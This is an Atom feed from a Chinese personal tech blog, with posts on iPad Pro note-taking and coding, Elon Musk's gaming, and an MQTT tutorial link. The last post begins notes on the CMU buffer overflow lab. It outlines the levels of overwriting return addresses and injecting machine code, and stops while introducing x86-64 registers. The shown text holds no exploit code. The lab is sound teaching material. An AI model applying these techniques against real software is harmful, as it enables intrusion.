<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1915733427630575711</id><updated>2024-11-08T23:30:35.183+08:00</updated><category term="OSDev"/><category term="embedded linux C"/><category term="linux"/><category term="algorithms"/><category term="news"/><category term="os x"/><category term="others"/><title type='text'>小胖部落格-learning by doing</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>39</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-611721550226982788</id><published>2020-06-20T02:02:00.000+08:00</published><updated>2020-06-20T02:02:01.837+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>IPad Pro 生產力 邊看網頁 邊筆記</title><content type='html'>&lt;p class=&quot;in io ap bx ip b iq ir is it iu iv iw ix iy iz ja jb jc jd je jf go&quot; data-selectable-paragraph=&quot;&quot; id=&quot;6c72&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;如何在ipad pro 邊看網頁 邊做筆記 (ipad os)&lt;/p&gt;&lt;figure class=&quot;jh ji jj jk jl jm ee ef paragraph-image&quot; style=&quot;background-color: white; box-sizing: inherit; clear: both; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 56px auto 0px;&quot;&gt;&lt;div class=&quot;jn jo cq jp ai&quot; style=&quot;box-sizing: inherit; cursor: zoom-in; position: relative; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) 0s; width: 680px; z-index: auto;&quot;&gt;&lt;div class=&quot;ee ef jg&quot; style=&quot;box-sizing: inherit; margin-left: auto; margin-right: auto; max-width: 834px;&quot;&gt;&lt;div class=&quot;ju r cq jv&quot; style=&quot;background-color: #f2f2f2; box-sizing: inherit; margin: auto; position: relative;&quot;&gt;&lt;div class=&quot;jw jx r&quot; style=&quot;box-sizing: inherit; height: 0px; padding-bottom: 973.516px;&quot;&gt;&lt;div class=&quot;cp jq s t u jr ai av js jt&quot; style=&quot;box-sizing: inherit; height: 973.516px; left: 0px; opacity: 0; overflow: hidden; position: absolute; top: 0px; transform: translateZ(0px); transition: opacity 100ms ease 400ms; width: 680px; will-change: transform;&quot;&gt;&lt;img class=&quot;s t u jr ai jy jz bc rp&quot; height=&quot;2388&quot; role=&quot;presentation&quot; src=&quot;https://miro.medium.com/max/21/1*dOEUsN6FYXv8tbkFrRmjYw@2x.jpeg?q=20&quot; style=&quot;box-sizing: inherit; filter: blur(20px); height: 973.516px; left: 0px; position: absolute; top: 0px; transform: scale(1.1); transition: visibility 0ms ease 400ms; vertical-align: middle; visibility: hidden; width: 680px;&quot; width=&quot;1668&quot; /&gt;&lt;/div&gt;&lt;img class=&quot;mh ro s t u jr ai ka&quot; height=&quot;2388&quot; role=&quot;presentation&quot; sizes=&quot;700px&quot; src=&quot;https://miro.medium.com/max/1668/1*dOEUsN6FYXv8tbkFrRmjYw@2x.jpeg&quot; srcset=&quot;https://miro.medium.com/max/276/1*dOEUsN6FYXv8tbkFrRmjYw@2x.jpeg 276w, https://miro.medium.com/max/552/1*dOEUsN6FYXv8tbkFrRmjYw@2x.jpeg 552w, https://miro.medium.com/max/640/1*dOEUsN6FYXv8tbkFrRmjYw@2x.jpeg 640w, https://miro.medium.com/max/700/1*dOEUsN6FYXv8tbkFrRmjYw@2x.jpeg 700w&quot; style=&quot;background: rgb(255, 255, 255); box-sizing: inherit; height: 973.516px; left: 0px; opacity: 1; position: absolute; top: 0px; transition: opacity 400ms ease 0ms; vertical-align: middle; width: 680px;&quot; width=&quot;1668&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p class=&quot;in io ap bx ip b iq ir is it iu iv iw ix iy iz ja jb jc jd je jf go&quot; data-selectable-paragraph=&quot;&quot; id=&quot;c3cf&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;Safari選取(標示)後就可以開使做筆記.&lt;/p&gt;&lt;figure class=&quot;jh ji jj jk jl jm ee ef paragraph-image&quot; style=&quot;background-color: white; box-sizing: inherit; clear: both; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 56px auto 0px;&quot;&gt;&lt;div class=&quot;jn jo cq jp ai&quot; style=&quot;box-sizing: inherit; cursor: zoom-in; position: relative; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) 0s; width: 680px; z-index: auto;&quot;&gt;&lt;div class=&quot;ee ef jg&quot; style=&quot;box-sizing: inherit; margin-left: auto; margin-right: auto; max-width: 834px;&quot;&gt;&lt;div class=&quot;ju r cq jv&quot; style=&quot;background-color: #f2f2f2; box-sizing: inherit; margin: auto; position: relative;&quot;&gt;&lt;div class=&quot;jw jx r&quot; style=&quot;box-sizing: inherit; height: 0px; padding-bottom: 973.516px;&quot;&gt;&lt;div class=&quot;cp jq s t u jr ai av js jt&quot; style=&quot;box-sizing: inherit; height: 973.516px; left: 0px; opacity: 0; overflow: hidden; position: absolute; top: 0px; transform: translateZ(0px); transition: opacity 100ms ease 400ms; width: 680px; will-change: transform;&quot;&gt;&lt;img class=&quot;s t u jr ai jy jz bc rp&quot; height=&quot;2388&quot; role=&quot;presentation&quot; src=&quot;https://miro.medium.com/max/21/1*aXySKtYWWdp1jtYrHZdj8g@2x.jpeg?q=20&quot; style=&quot;box-sizing: inherit; filter: blur(20px); height: 973.516px; left: 0px; position: absolute; top: 0px; transform: scale(1.1); transition: visibility 0ms ease 400ms; vertical-align: middle; visibility: hidden; width: 680px;&quot; width=&quot;1668&quot; /&gt;&lt;/div&gt;&lt;img class=&quot;mh ro s t u jr ai ka&quot; height=&quot;2388&quot; role=&quot;presentation&quot; sizes=&quot;700px&quot; src=&quot;https://miro.medium.com/max/1668/1*aXySKtYWWdp1jtYrHZdj8g@2x.jpeg&quot; srcset=&quot;https://miro.medium.com/max/276/1*aXySKtYWWdp1jtYrHZdj8g@2x.jpeg 276w, https://miro.medium.com/max/552/1*aXySKtYWWdp1jtYrHZdj8g@2x.jpeg 552w, https://miro.medium.com/max/640/1*aXySKtYWWdp1jtYrHZdj8g@2x.jpeg 640w, https://miro.medium.com/max/700/1*aXySKtYWWdp1jtYrHZdj8g@2x.jpeg 700w&quot; style=&quot;background: rgb(255, 255, 255); box-sizing: inherit; height: 973.516px; left: 0px; opacity: 1; position: absolute; top: 0px; transition: opacity 400ms ease 0ms; vertical-align: middle; width: 680px;&quot; width=&quot;1668&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p class=&quot;in io ap bx ip b iq ir is it iu iv iw ix iy iz ja jb jc jd je jf go&quot; data-selectable-paragraph=&quot;&quot; id=&quot;d22b&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;最後再選則存成pdf檔案，日後就可以用再複習編輯。&lt;/p&gt;&lt;figure class=&quot;jh ji jj jk jl jm ee ef paragraph-image&quot; style=&quot;background-color: white; box-sizing: inherit; clear: both; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 56px auto 0px;&quot;&gt;&lt;div class=&quot;jn jo cq jp ai&quot; style=&quot;box-sizing: inherit; cursor: zoom-in; position: relative; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) 0s; width: 680px; z-index: auto;&quot;&gt;&lt;div class=&quot;ee ef jg&quot; style=&quot;box-sizing: inherit; margin-left: auto; margin-right: auto; max-width: 834px;&quot;&gt;&lt;div class=&quot;ju r cq jv&quot; style=&quot;background-color: #f2f2f2; box-sizing: inherit; margin: auto; position: relative;&quot;&gt;&lt;div class=&quot;jw jx r&quot; style=&quot;box-sizing: inherit; height: 0px; padding-bottom: 973.516px;&quot;&gt;&lt;div class=&quot;cp jq s t u jr ai av js jt&quot; style=&quot;box-sizing: inherit; height: 973.516px; left: 0px; opacity: 0; overflow: hidden; position: absolute; top: 0px; transform: translateZ(0px); transition: opacity 100ms ease 400ms; width: 680px; will-change: transform;&quot;&gt;&lt;img class=&quot;s t u jr ai jy jz bc rp&quot; height=&quot;2388&quot; role=&quot;presentation&quot; src=&quot;https://miro.medium.com/max/21/1*DYn4ze2VJABB9sVKpj3b2Q@2x.jpeg?q=20&quot; style=&quot;box-sizing: inherit; filter: blur(20px); height: 973.516px; left: 0px; position: absolute; top: 0px; transform: scale(1.1); transition: visibility 0ms ease 400ms; vertical-align: middle; visibility: hidden; width: 680px;&quot; width=&quot;1668&quot; /&gt;&lt;/div&gt;&lt;img class=&quot;mh ro s t u jr ai ka&quot; height=&quot;2388&quot; role=&quot;presentation&quot; sizes=&quot;700px&quot; src=&quot;https://miro.medium.com/max/1668/1*DYn4ze2VJABB9sVKpj3b2Q@2x.jpeg&quot; srcset=&quot;https://miro.medium.com/max/276/1*DYn4ze2VJABB9sVKpj3b2Q@2x.jpeg 276w, https://miro.medium.com/max/552/1*DYn4ze2VJABB9sVKpj3b2Q@2x.jpeg 552w, https://miro.medium.com/max/640/1*DYn4ze2VJABB9sVKpj3b2Q@2x.jpeg 640w, https://miro.medium.com/max/700/1*DYn4ze2VJABB9sVKpj3b2Q@2x.jpeg 700w&quot; style=&quot;background: rgb(255, 255, 255); box-sizing: inherit; height: 973.516px; left: 0px; opacity: 1; position: absolute; top: 0px; transition: opacity 400ms ease 0ms; vertical-align: middle; width: 680px;&quot; width=&quot;1668&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/611721550226982788/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/611721550226982788' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/611721550226982788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/611721550226982788'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2020/06/ipad-pro.html' title='IPad Pro 生產力 邊看網頁 邊筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-5743397911797031030</id><published>2020-06-12T23:14:00.002+08:00</published><updated>2020-06-12T23:18:05.955+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>iPad pro 2020 寫程式可行嗎?</title><content type='html'>&lt;p class=&quot;hh hv ap bx hj b hk hl hw hm hn hx ho hp hy hq hr hz hs ht ia hu hc&quot; data-selectable-paragraph=&quot;&quot; id=&quot;1ccc&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;figure class=&quot;ic id ie if ig ih fr fs paragraph-image&quot; style=&quot;background-color: white; box-sizing: inherit; clear: both; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 56px auto 0px;&quot;&gt;&lt;div class=&quot;ii ij ez ik ai&quot; style=&quot;box-sizing: inherit; cursor: zoom-in; position: relative; transition: all 300ms cubic-bezier(0.2, 0, 0.2, 1) 0s; width: 680px; z-index: auto;&quot;&gt;&lt;div class=&quot;fr fs ib&quot; style=&quot;box-sizing: inherit; margin-left: auto; margin-right: auto; max-width: 603px;&quot;&gt;&lt;div class=&quot;io r ez ff&quot; style=&quot;background-color: #f2f2f2; box-sizing: inherit; margin: auto; position: relative;&quot;&gt;&lt;div class=&quot;ip iq r&quot; style=&quot;box-sizing: inherit; height: 0px; padding-bottom: 840px;&quot;&gt;&lt;div class=&quot;dv il s t u dq ai av im in&quot; style=&quot;box-sizing: inherit; height: 840px; left: 0px; opacity: 0; overflow: hidden; position: absolute; top: 0px; transform: translateZ(0px); transition: all 100ms ease 400ms; width: 603px; will-change: transform;&quot;&gt;&lt;img class=&quot;s t u dq ai ir is bc rc&quot; height=&quot;840&quot; role=&quot;presentation&quot; src=&quot;https://miro.medium.com/max/44/1*OjXwzkAvwdfUL8la19Cyfw.jpeg?q=20&quot; style=&quot;box-sizing: inherit; filter: blur(20px); height: 840px; left: 0px; position: absolute; top: 0px; transform: scale(1.1); transition: all 0ms ease 400ms; vertical-align: middle; visibility: hidden; width: 603px;&quot; width=&quot;603&quot; /&gt;&lt;/div&gt;&lt;img class=&quot;ef op s t u dq ai iu&quot; height=&quot;840&quot; role=&quot;presentation&quot; sizes=&quot;603px&quot; src=&quot;https://miro.medium.com/max/603/1*OjXwzkAvwdfUL8la19Cyfw.jpeg&quot; srcset=&quot;https://miro.medium.com/max/552/1*OjXwzkAvwdfUL8la19Cyfw.jpeg 276w, https://miro.medium.com/max/1104/1*OjXwzkAvwdfUL8la19Cyfw.jpeg 552w, https://miro.medium.com/max/1206/1*OjXwzkAvwdfUL8la19Cyfw.jpeg 603w&quot; style=&quot;background: rgb(255, 255, 255); box-sizing: inherit; height: 840px; left: 0px; opacity: 1; position: absolute; top: 0px; transition: all 400ms ease 0ms; vertical-align: middle; width: 603px;&quot; width=&quot;603&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p class=&quot;hh hv ap bx hj b hk hl hw hm hn hx ho hp hy hq hr hz hs ht ia hu hc&quot; data-selectable-paragraph=&quot;&quot; id=&quot;34b6&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;我是位韌體工程師，工作內容是開發Linux 、RTOS上驅動程式開發。 平常習慣用工具是VS code 與Vim，使用的是Macbook air，macOS是 Unix-like作業系統，要裝VIM, microcom, openOCD都相當容易。&lt;/p&gt;&lt;p class=&quot;hh hv ap bx hj b hk hl hw hm hn hx ho hp hy hq hr hz hs ht ia hu hc&quot; data-selectable-paragraph=&quot;&quot; id=&quot;9ed4&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;今天要來試試iPad pro 2020 沒有巧鍵盤情況下，是否能來開發程式，為什麼不買巧鍵盤了因為iPad pro 2020 11吋定價是25900，再加上巧鍵盤就比Macbook air貴了。&lt;/p&gt;&lt;p class=&quot;hh hv ap bx hj b hk hl hw hm hn hx ho hp hy hq hr hz hs ht ia hu hc&quot; data-selectable-paragraph=&quot;&quot; id=&quot;50d1&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;我在Linux server上裝了VS code server版本，使用Safari 是可以正常的看Code，但是網頁版本的VS code對觸控的支援不佳，函數定義跳轉也不正常，最重要的是下方的shell 打開vim後，就……跳不出來啦XD&lt;/p&gt;&lt;p class=&quot;hh hv ap bx hj b hk hl hw hm hn hx ho hp hy hq hr hz hs ht ia hu hc&quot; data-selectable-paragraph=&quot;&quot; id=&quot;3cf1&quot; style=&quot;background-color: white; box-sizing: inherit; color: #292929; font-family: medium-content-serif-font, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 21px; letter-spacing: -0.003em; line-height: 32px; margin: 2em 0px -0.46em; word-break: break-word;&quot;&gt;我想iPad pro在不用巧鍵盤的情況下，是不適合做韌體開發的，但是拿來看文件，做筆記確實是相當合適，可以在datasheet 文件直接用觸控筆做註解，配合note app使用，還可以分享給同事，相當的方便。&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/5743397911797031030/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/5743397911797031030' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5743397911797031030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5743397911797031030'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2020/06/ipad-pro-2020.html' title='iPad pro 2020 寫程式可行嗎?'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-3383148710767023132</id><published>2020-05-28T21:40:00.001+08:00</published><updated>2020-05-28T21:40:15.769+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="news"/><title type='text'>Tesla CEO Elon Musk打電動嗎?</title><content type='html'>&lt;br /&gt;&lt;div&gt;從Elon Musk的twitter 跟Reddit AMA (ask me anything)看來，Elon Musk是會打電動的，&lt;/div&gt;&lt;div&gt;會玩大亂鬥，魔獸爭霸，文明帝國與一些射擊動作類的遊戲。&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;原文網址:&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://www.businessinsider.com/elon-musk-favorite-video-games-2017-6#8-warcraft-8&quot;&gt;https://www.businessinsider.com/elon-musk-favorite-video-games-2017-6#8-warcraft-8&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/3383148710767023132/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/3383148710767023132' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/3383148710767023132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/3383148710767023132'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2020/05/tesla-ceo-elon-musk.html' title='Tesla CEO Elon Musk打電動嗎?'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-33059994497669554</id><published>2020-05-27T23:32:00.001+08:00</published><updated>2020-05-27T23:32:06.291+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="news"/><title type='text'>如何使用MQTT-Reactive打造Event-driven programming系統</title><content type='html'>&lt;div&gt;本文是利用&lt;a data-pjax=&quot;#js-repo-pjax-container&quot; href=&quot;https://github.com/vortexmakes/MQTT-Reactive&quot; style=&quot;background-color: #fafbfc; box-shadow: none; box-sizing: border-box; color: #0366d6; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 18px; font-weight: 600; outline: none;&quot;&gt;MQTT-Reactive&lt;/a&gt;&amp;nbsp;開發reactive 系統的教學，MQTT在許多的IoT產品上很常用到，&lt;/div&gt;&lt;div&gt;文章裡教大家如何在IoT應用裡有系統的加入MQTT-Client 。&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;原文連結:&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;https://www.embedded.com/implementing-an-mqtt-client-for-reactive-systems/&quot;&gt;https://www.embedded.com/implementing-an-mqtt-client-for-reactive-systems/&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/33059994497669554/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/33059994497669554' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/33059994497669554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/33059994497669554'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2020/05/mqtt-reactiveevent-driven-programming.html' title='如何使用MQTT-Reactive打造Event-driven programming系統'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-4209399508392325782</id><published>2016-10-11T15:41:00.000+08:00</published><updated>2016-12-22T11:54:17.370+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>CMU buffer overflow attack作業筆記</title><content type='html'>&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;三年前線上課程看到的，現在有空筆記一下，這是CMU的計算機組織課程的作業(&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq url&quot;&gt;&lt;a class=&quot;dynamiclink&quot; href=&quot;https://www.cs.cmu.edu/~213/index.html&quot; rel=&quot;noreferrer nofollow noopener&quot; target=&quot;_blank&quot;&gt;https://www.cs.cmu.edu/~213/index.html&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;)，應該是大二的課程。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;作業可以在這邊載到(&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq url&quot;&gt;&lt;a class=&quot;dynamiclink&quot; href=&quot;http://csapp.cs.cmu.edu/3e/labs.html&quot; rel=&quot;noreferrer nofollow noopener&quot; target=&quot;_blank&quot;&gt;http://csapp.cs.cmu.edu/3e/labs.html&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;須要在x86–64的機器上執行. &amp;nbsp;作業給了一個有buffer overflow問題的程式bomb跟其原始碼bomb.c，&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;依難度大概有下面幾個層級&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;1.函數返回時利用buffer overflow去呼叫另一個不帶參數函數&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;2.函數返回時利用buffer overflow去呼叫另一個帶參數函數&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;3.利用buffer overflow去修改全域變數&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;4.最難的是利用buffer overflow去執行一段自己插入的程式(機器碼)，然後要正常返回呼叫函數。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h1 data-usually-unique-id=&quot;323947624286572&quot;&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;預備知識:&lt;/span&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;首先，先看x86–64 架構有什麼registers ，這邊&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;%rip：instruction pointer，用來指到下一個instruction的位置．&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;%rbp：Frame pointer，用來指到目前stack frame的開頭．&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
